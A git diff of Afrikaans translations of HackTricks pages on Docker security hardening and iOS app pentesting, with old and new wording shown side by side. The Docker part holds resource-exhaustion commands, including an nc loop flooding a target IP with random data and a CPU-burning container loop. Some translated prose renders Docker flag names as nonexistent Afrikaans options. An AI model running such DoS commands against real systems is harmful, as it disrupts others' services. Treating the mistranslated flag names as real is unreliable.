Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is om slegs met voorwerpe te interaksieer wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk.
Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer is, dit beperk is tot interaksie slegs met objekte wat die ooreenstemmende etikette het, wat die potensiële skade van sulke kompromitterings aansienlik beperk.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@ -243,7 +243,7 @@ Hierdie meganisme verseker dat selfs as 'n proses binne 'n houer gekompromitteer
In Docker speel 'n outorisasie-inprop 'n kritieke rol in sekuriteit deur te besluit of versoek aan die Docker-daemon toegelaat of geblokkeer moet word. Hierdie besluit word geneem deur twee sleutelkontekste te ondersoek:
* **Outentiseringskonteks**: Dit sluit omvattende inligting oor die gebruiker in, soos wie hulle is en hoe hulle hulself geoutentiseer het.
* **Opdragkonteks**: Dit behels alle relevante data wat verband hou met die versoek wat gedoen word.
* **Bevelkonteks**: Dit sluit alle relevante data in wat verband hou met die versoek wat gedoen word.
Hierdie kontekste help verseker dat slegs legitieme versoek van geoutentiseerde gebruikers verwerk word, wat die sekuriteit van Docker-operasies verbeter.
@ -263,27 +263,27 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* Bandwydte DoS
* Bandbreedte DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## Interessante Docker-vlae
## Interessante Docker-vlakke
### --privileged vlag
### --bevoorregte vlag
Op die volgende bladsy kan jy leer **wat impliseer die `--privileged` vlag**:
Op die volgende bladsy kan jy leer **wat impliseer die `--bevoorregte` vlag**:
{% content-ref url="docker-privileged.md" %}
[docker-privileged.md](docker-privileged.md)
{% endcontent-ref %}
### --security-opt
### --sekuriteit-optie
#### no-new-privileges
#### geen-nuwe-bevoorregting
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-privilege-gebruiker. As jy 'n **verkeerd ingestelde suid-binêre lêer** het, kan die aanvaller dit misbruik en **privileges binne-in** die houer **verhoog**. Dit mag hom in staat stel om daaruit te ontsnap.
As jy 'n houer hardloop waar 'n aanvaller daarin slaag om toegang te kry as 'n lae-bevoorregte gebruiker. As jy 'n **sleg-gekonfigureerde suid-binêre lêer** het, kan die aanvaller dit misbruik en **bevoorregting binne** die houer **opgradeer**. Dit kan hom moontlik toelaat om daaruit te ontsnap.
Die houer hardloop met die **`no-new-privileges`** opsie geaktiveer sal hierdie soort privilege-escalatie **voorkom**.
Die houer hardloop met die **`geen-nuwe-bevoorregting`** opsie geaktiveer sal **hierdie soort bevoorregtingsopgradering voorkom**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -308,19 +308,19 @@ Vir meer **`--security-opt`**-opsies, kyk na: [https://docs.docker.com/engine/re
### Bestuur van Geheime: Beste Praktyke
Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur opdragte soos `docker inspect` of `exec`.
Dit is noodsaaklik om te vermy om geheime direk in Docker-beelde in te sluit of om omgewingsveranderlikes te gebruik, aangesien hierdie metodes jou sensitiewe inligting blootstel aan enigiemand met toegang tot die houer deur bevele soos `docker inspect` of `exec`.
**Docker volumes** is 'n veiliger alternatief, aanbeveel vir die benadering van sensitiewe inligting. Hulle kan gebruik word as 'n tydelike lêersisteem in die geheue, wat die risiko's wat verband hou met `docker inspect` en logging verminder. Nietemin kan root-gebruikers en diegene met `exec`-toegang tot die houer steeds die geheime benader.
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle wat geheime tydens die beeldfase benodig, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd geheime, wat bou spoed verbeter en addisionele kenmerke bied.
**Docker-geheime** bied 'n selfs veiliger metode vir die hantering van sensitiewe inligting. Vir gevalle waar geheime tydens die beeldboufase benodig word, bied **BuildKit** 'n doeltreffende oplossing met ondersteuning vir bou-tyd-geheime, wat bou spoed verbeter en addisionele kenmerke bied.
Om van BuildKit gebruik te maak, kan dit op drie maniere geaktiveer word:
1. Deur 'n omgewingsveranderlike: `export DOCKER_BUILDKIT=1`
2. Deur opdragte te voorafgaan: `DOCKER_BUILDKIT=1 docker build .`
2. Deur bevele te voorafgaan: `DOCKER_BUILDKIT=1 docker build .`
3. Deur dit standaard in die Docker-konfigurasie te aktiveer: `{ "features": { "buildkit": true } }`, gevolg deur 'n Docker-herlaai.
BuildKit maak die gebruik van bou-tyd geheime moontlik met die `--secret`-opsie, wat verseker dat hierdie geheime nie ingesluit word in die beeldboukas of die finale beeld nie, deur 'n opdrag soos die volgende te gebruik:
BuildKit maak die gebruik van bou-tyd-geheime met die `--secret`-opsie moontlik, wat verseker dat hierdie geheime nie ingesluit word in die beeldbou-kas of die finale beeld nie, deur 'n bevel soos:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
@ -343,44 +343,44 @@ In Kubernetes-omgewings word geheime ondersteun en kan verder bestuur word met g
### gVisor
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit maklik maak om gesandbokte houers te hardloop.
**gVisor** is 'n aansoek-kernel, geskryf in Go, wat 'n aansienlike deel van die Linux-sisteemoppervlak implementeer. Dit sluit 'n [Open Container Initiative (OCI)](https://www.opencontainers.org) uitvoertyd genaamd `runsc` in wat 'n **isoleringgrens tussen die aansoek en die gasheerkernel** bied. Die `runsc`-uitvoertyd integreer met Docker en Kubernetes, wat dit eenvoudig maak om gesandbokte houers te hardloop.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is 'n oopbron-gemeenskap wat werk aan die bou van 'n veilige houeruitvoertyd met ligte virtuele masjiene wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisering** tegnologie as 'n tweede verdedigingslaag.
**Kata Containers** is 'n oopbron-gemeenskap wat werk om 'n veilige houeruitvoertyd met ligte virtuele masjiene te bou wat soos houers voel en optree, maar **sterker werklas-isolering bied deur hardeware-virtualisasietegnologie as 'n tweede verdedigingslaag** te gebruik.
{% embed url="https://katacontainers.io/" %}
### Opsomming van Wenke
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel nie**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruiker-ruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruiker-ruimtes herkartografeer word. Dit word slegs lig beperk deur, hoofsaaklik, Linux-ruimtes, vermoëns en cgroups.
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste benodig nie enige vermoëns nie en om dit by te voeg, verhoog die omvang van 'n potensiële aanval.
* **Moenie die `--privileged` vlag gebruik of 'n** [**Docker-socket binne die houer koppel**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Die docker-socket maak dit moontlik om houers te skep, dus is dit 'n maklike manier om volle beheer oor die gasheer te neem, byvoorbeeld deur 'n ander houer met die `--privileged` vlag te hardloop.
* Moet **nie as wortel binne die houer hardloop nie. Gebruik 'n** [**verskillende gebruiker**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **en** [**gebruikersnaamruimtes**](https://docs.docker.com/engine/security/userns-remap/)**.** Die wortel in die houer is dieselfde as op die gasheer tensy dit met gebruikersnaamruimtes herkart is. Dit word slegs lig beperk deur, hoofsaaklik, Linux-naamruimtes, vermoëns en cgroups.
* [**Laat alle vermoëns val**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) en aktiveer slegs dié wat benodig word** (`--cap-add=...`). Baie werklaste benodig nie enige vermoëns nie en die byvoeging daarvan verhoog die omvang van 'n potensiële aanval.
* [**Gebruik die "no-new-privileges" veiligheidsoptie**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) om te voorkom dat prosesse meer vermoëns verkry, byvoorbeeld deur suid-binêre lêers.
* [**Beperk hulpbronne wat beskikbaar is vir die houer**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm.
* [**Beperk hulpbronne wat aan die houer beskikbaar is**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Hulpbronlimiete kan die masjien teen ontkenning van diensaanvalle beskerm.
* **Pas** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(of SELinux)** profiele aan om die aksies en stelseloproepe wat vir die houer beskikbaar is, tot die minimum benodigde te beperk.
* **Gebruik** [**amptelike docker-beelde**](https://docs.docker.com/docker-hub/official\_images/) **en vereis handtekeninge** of bou jou eie gebaseer op hulle. Moet nie erfenis of [agterdeur](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) beelde gebruik nie. Berg ook wortelsleutels, wagwoord op 'n veilige plek op. Docker het planne om sleutels met UCP te bestuur.
* **Herbou gereeld** jou beelde om **sekuriteitspatches op die gasheer en beelde toe te pas.**
* Bestuur jou **geheime wyslik** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry.
* **Herbou gereeld** jou beelde om **sekuriteitsopdaterings op die gasheer en beelde toe te pas.**
* Bestuur jou **geheime wys** sodat dit moeilik is vir die aanvaller om daartoe toegang te verkry.
* As jy **die docker-daemon blootstel, gebruik HTTPS** met klient- en bedienerverifikasie.
* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van VOEG BY**. VOEG BY onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik om VOEG BY te gebruik sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
* In jou Dockerfile, **gee voorkeur aan KOPIE in plaas van BYVOEG**. BYVOEG onttrek outomaties gezip-lêers en kan lêers vanaf URL's kopieer. KOPIE het nie hierdie vermoëns nie. Vermy waar moontlik die gebruik van BYVOEG sodat jy nie vatbaar is vir aanvalle deur afgeleë URL's en Zip-lêers nie.
* Het **afsonderlike houers vir elke mikrodiens**
* **Moenie ssh** binne die houer sit nie, "docker exec" kan gebruik word om na die houer te ssh.
* Het **kleiner** houer **beelde**
## Docker Uitbreek / Voorreg-escalasie
As jy **binne 'n docker-houer is** of jy het toegang tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**:
As jy **binne 'n docker-houer** is of jy toegang het tot 'n gebruiker in die **docker-groep**, kan jy probeer om **te ontsnap en voorregte te eskaleer**:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
{% endcontent-ref %}
## Docker-verifikasie-inprop-deurkruising
## Docker-verifikasiepropbypass
As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasie-inprop**, kyk of jy dit kan **deurkruis:**
As jy toegang het tot die docker-socket of toegang het tot 'n gebruiker in die **docker-groep, maar jou aksies word beperk deur 'n docker-verifikasieprop**, kyk of jy dit kan **verbygaan:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -410,10 +410,10 @@ Jy moet die gereedskap vanaf die gasheer wat Docker hardloop of vanaf 'n houer m
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik werkstrome te bou en te **outomatiseer** met die wêreld se **mees gevorderde** gemeenskapsgereedskap.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
<details>

View file

@ -3,20 +3,20 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik **werkstrome** te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -36,11 +36,11 @@ Op hierdie bladsy kan jy inligting vind oor die **iOS-simuleerder**, **emulators
[ios-testing-environment.md](ios-testing-environment.md)
{% endcontent-ref %}
## Inisieële Analise
## Aanvanklike Analise
### Basiese iOS Toetsoperasies
Tydens die toetsing **sal verskeie operasies voorgestel word** (verbind met die toestel, lees/skryf/oplaai/aflaai lêers, gebruik van sekere gereedskap...). As jy dus nie weet hoe om enige van hierdie aksies uit te voer nie, **begin deur die bladsy te lees**:
Tydens die toetsing **sal verskeie operasies voorgestel word** (verbind met die toestel, lees/skryf/oordra/laai lêers af, gebruik van sekere gereedskap...). As jy dus nie weet hoe om enige van hierdie aksies uit te voer nie, **begin deur die bladsy te lees**:
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
@ -60,22 +60,22 @@ Identifikasie van **beskermings wat teenwoordig is in die binêre lêer**:
* **PIE (Position Independent Executable)**: Wanneer dit geaktiveer is, laai die aansoek in 'n ewekansige geheue-adres elke keer as dit begin, wat dit moeiliker maak om sy aanvanklike geheue-adres te voorspel.
```bash
otool -hv <app-binêre> | grep PIE # Dit behoort die PIE-vlag in te sluit
otool -hv <app-binêr> | grep PIE # Dit behoort die PIE-vlag in te sluit
```
* **Stapelkanaries**: Om die integriteit van die stapel te valideer, word 'n 'kanarie'-waarde op die stapel geplaas voordat 'n funksie aangeroep word en word weer gevalideer sodra die funksie eindig.
* **Stapelkanaries**: Om die integriteit van die stapel te valideer, word 'n 'kanarie'-waarde op die stapel geplaas voordat 'n funksie geroep word en word weer gevalideer sodra die funksie eindig.
```bash
otool -I -v <app-binêre> | grep stack_chk # Dit behoort die simbole: stack_chk_guard en stack_chk_fail in te sluit
otool -I -v <app-binêr> | grep stack_chk # Dit behoort die simbole: stack_chk_guard en stack_chk_fail in te sluit
```
* **ARC (Automatic Reference Counting)**: Om algemene geheuekorruptie-foute te voorkom
```bash
otool -I -v <app-binêre> | grep objc_release # Dit behoort die _objc_release-simbool in te sluit
otool -I -v <app-binêr> | grep objc_release # Dit behoort die _objc_release-simbool in te sluit
```
* **Versleutelde Binêre**: Die binêre lêer behoort versleutel te wees
* **Versleutelde Binêre Lêer**: Die binêre lêer behoort versleutel te wees
```bash
otool -arch all -Vl <app-binêre> | grep -A5 LC_ENCRYPT # Die cryptid behoort 1 te wees
otool -arch all -Vl <app-binêr> | grep -A5 LC_ENCRYPT # Die cryptid behoort 1 te wees
```
**Identifikasie van Sensitiewe/Onveilige Funksies**
@ -145,7 +145,7 @@ grep -iER "_vsprintf"
### Basiese Dinamiese Analise
Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende aansigte moet navigeer en met hulle moet interaksie hê, maar dit sal verskeie klasse koppel en ander dinge doen en 'n verslag voorberei sodra jy klaar is.
Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende aansigte moet navigeer en daarmee moet interaksie hê, maar dit sal verskeie klasse koppel en ander dinge doen en 'n verslag voorberei sodra jy klaar is.
### Lys van Geïnstalleerde Apps
@ -177,21 +177,21 @@ Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gezipde pakkie**.
* **`Info.plist`**: Hierdie lêer bevat spesifieke konfigurasiebesonderhede van die aansoek.
* **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat wat die integriteit van alle lêers in die bundel verseker.
* **`Assets.car`**: 'n Gekomprimeerde argief wat bate-lêers soos ikone stoor.
* **`Frameworks/`**: Hierdie gids huisves die aansoek se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
* **`PlugIns/`**: Dit mag uitbreidings tot die aansoek insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie.
* **`Frameworks/`**: Hierdie vouer huisves die aansoek se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
* **`PlugIns/`**: Dit kan uitbreidings tot die aansoek insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie.
* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou aansoek se permanente data vir aflyngebruik te stoor, tydelike data te kash, en om ongedaanmaakfunksionaliteit by jou aansoek op 'n enkele toestel by te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinchroniseer, boots Core Data outomaties jou skema na 'n CloudKit-houer.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepperkodes van jou aansoek of bundel te spesifiseer.
* **en.lproj, fr.proj, Base.lproj**: Is die taalpakke wat hulpbronne vir daardie spesifieke tale bevat, en 'n verstekhulpbron in geval 'n taal nie ondersteun word nie.
* **en.lproj, fr.proj, Base.lproj**: Is die taalpakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n verstekhulpbron in geval 'n taal nie ondersteun word nie.
* **Sekuriteit**: Die `_CodeSignature/`-gids speel 'n kritieke rol in die aansoek se sekuriteit deur die integriteit van alle gebundelde lêers deur digitale handtekeninge te verifieer.
* **Batebestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese bates doeltreffend te bestuur, wat noodsaaklik is vir die optimalisering van aansoekprestasie en die vermindering van sy algehele grootte.
* **Raamwerke en Inproppe**: Hierdie gidse beklemtoon die modulariteit van iOS-aansoeke, wat ontwikkelaars in staat stel om herbruikbare kodelêers (`Frameworks/`) in te sluit en aansoekfunksionaliteit uit te brei (`PlugIns/`).
* **Lokalisering**: Die struktuur ondersteun meertaligheid, wat globale aansoekbereik fasiliteer deur hulpbronne vir spesifieke taalpakke in te sluit.
* **Batebestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese bates effektief te bestuur, wat noodsaaklik is vir die optimalisering van aansoekprestasie en die vermindering van sy algehele grootte.
* **Raamwerke en Inproppe**: Hierdie gide beklemtoon die modulariteit van iOS-aansoeke, wat ontwikkelaars in staat stel om herbruikbare kodelêers (`Frameworks/`) in te sluit en aansoekfunksionaliteit uit te brei (`PlugIns/`).
* **Lokalisering**: Die struktuur ondersteun meertaligheid, wat globale aansoekbereik fasiliteer deur hulpbronne vir spesifieke taalpakkette in te sluit.
**Info.plist**
Die **Info.plist** dien as 'n hoeksteen vir iOS-aansoeke, wat sleutelkonfigurasiedata inkapsuleer in die vorm van **sleutel-waarde** pare. Hierdie lêer is 'n vereiste nie net vir aansoeke nie, maar ook vir aansoekuitbreidings en raamwerke wat daarin gebundel is. Dit is gestruktureer in XML of 'n binêre formaat en bevat kritieke inligting wat strek van aansoektoestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n persoon verwys na die [**Apple Developer-dokumentasie**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
Die **Info.plist** dien as 'n hoeksteen vir iOS-aansoeke, wat sleutelkonfigurasiedata inkapsuleer in die vorm van **sleutel-waarde** pare. Hierdie lêer is 'n vereiste nie net vir aansoeke nie, maar ook vir aansoekuitbreidings en raamwerke wat daarin gebundel is. Dit is gestruktureer in XML of 'n binêre formaat en bevat kritieke inligting wat strek van aansoektoestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels kan verwys word na die [**Apple Developer-dokumentasie**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
Vir diegene wat met hierdie lêer wil werk in 'n meer toeganklike formaat, kan die XML-omskakeling moeiteloos bereik word deur die gebruik van `plutil` op macOS (beskikbaar natively op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is as volg:
Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling moeiteloos bereik word deur die gebruik van `plutil` op macOS (beskikbaar natively op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is as volg:
* **Vir macOS**:
```bash
@ -202,21 +202,21 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings in soos app-toestemmingsreekse (`UsageDescription`), aangepaste URL-skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`). Hierdie inskrywings, tesame met ander soos uitgevoerde/ingevoerde aangepaste dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of deur 'n eenvoudige `grep`-bevel te gebruik:
Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings in soos app-toestemmingsreekse (`UsageDescription`), aangepaste URL-skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`). Hierdie inskrywings, tesame met ander soos uitgevoerde/ingevoerde aangepaste dokumenttipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik opgespoor word deur die lêer te inspekteer of deur 'n eenvoudige `grep`-bevel te gebruik:
```bash
$ grep -i <keyword> Info.plist
```
**Data Paaie**
In die iOS-omgewing word gids spesifiek aangewys vir **sisteemtoepassings** en **gebruiker-geïnstalleerde toepassings**. Sisteemtoepassings bly in die `/Applications` gids, terwyl gebruiker-geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word 'n unieke identifiseerder toegewys wat bekend staan as 'n **128-bis UUID**, wat die taak van die handmatige lokalisering van 'n toepassing se vouer moeilik maak as gevolg van die lukraakheid van die gidsname.
In die iOS-omgewing word gids spesifiek aangewys vir **sisteemtoepassings** en **gebruiker-geïnstalleerde toepassings**. Sisteemtoepassings bly in die `/Applications` gids, terwyl gebruiker-geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word 'n unieke identifiseerder toegewys wat bekend staan as 'n **128-bis UUID**, wat die taak van die handmatig vind van 'n toepassing se gids moeilik maak as gevolg van die lukraakheid van die gidsname.
{% hint style="warning" %}
Aangesien toepassings in iOS gesandboks moet wees, sal elke toepassing ook 'n vouer binne **`$HOME/Library/Containers`** hê met die toepassing se **`CFBundleIdentifier`** as die vouernaam.
Aangesien toepassings in iOS gesandboks moet wees, sal elke toepassing ook 'n gids binne **`$HOME/Library/Containers`** hê met die toepassing se **`CFBundleIdentifier`** as die gidsnaam.
Nietemin het beide vouers (data- en houervouers) die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers koppel in die sleutel `MCMetadataIdentifier`).
Nietemin het beide gids (data & houer gids) die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers koppel in die sleutel `MCMetadataIdentifier`).
{% endhint %}
Om die ontdekking van 'n gebruiker-geïnstalleerde toepassing se installeervouer te fasiliteer, bied die **objection tool** 'n nuttige bevel, `env`. Hierdie bevel onthul gedetailleerde gidsinligting vir die betrokke toepassing. Hieronder is 'n voorbeeld van hoe om hierdie bevel te gebruik:
Om die ontdekking van 'n gebruiker-geïnstalleerde toepassing se installasiegids te fasiliteer, bied die **objection tool** 'n nuttige bevel, `env`. Hierdie bevel onthul gedetailleerde gidsinligting vir die betrokke toepassing. Hieronder is 'n voorbeeld van hoe om hierdie bevel te gebruik:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -227,11 +227,11 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
```
Alternatief kan die app-naam binne die `/private/var/containers` gesoek word met behulp van die `find`-opdrag:
Alternatiewelik kan die app-naam binne die `/private/var/containers` gesoek word met behulp van die `find`-opdrag:
```bash
find /private/var/containers -name "Progname*"
```
Opdragte soos `ps` en `lsof` kan ook gebruik word om die proses van die program te identifiseer en onderskeidelik 'n lys van oop lêers te gee, wat insig bied in die aktiewe gids van die aansoek:
Opdragte soos `ps` en `lsof` kan ook gebruik word om die proses van die program te identifiseer en om oop lêers te lys, onderskeidelik, wat insig bied in die aktiewe gids van die aansoek:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -239,12 +239,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**Bondelgids:**
* **AppName.app**
* Dit is die Aansoekbondel soos voorheen gesien in die IPA, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se saamgestelde binêre lêer.
* Dit is die Aansoekbondel soos voorheen gesien in die IPA, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se saamgestelde binêre.
* Hierdie gids is sigbaar vir gebruikers, maar **gebruikers kan nie daarin skryf nie**.
* Inhoud in hierdie gids word **nie gestoor nie**.
* Die inhoud van hierdie gids word gebruik om die kodesignatuur te **valideer**.
**Datagids:**
**Data-gids:**
* **Dokumente/**
* Bevat alle gebruikers gegenereerde data. Die aansoek eindgebruiker inisieer die skepping van hierdie data.
@ -252,30 +252,30 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
* Inhoud in hierdie gids word **gestoor**.
* Die aansoek kan paaie deaktiveer deur `NSURLIsExcludedFromBackupKey` in te stel.
* **Biblioteek/**
* Bevat alle lêers wat nie gebruikersspesifiek is nie, soos **gekassetteerde**, **voorkeure**, **koekies**, en eiendomslys (plist) opsetlêers.
* iOS-aansoeke gebruik gewoonlik die `Toepassingsondersteuning` en `Kassies` subgidse, maar die aansoek kan aangepaste subgidse skep.
* **Biblioteek/Kassies/**
* Bevat alle **lêers wat nie gebruikersspesifiek is nie**, soos **gekassetteerde**, **voorkeure**, **koekies**, en eiendomslys (plist) konfigurasie lêers.
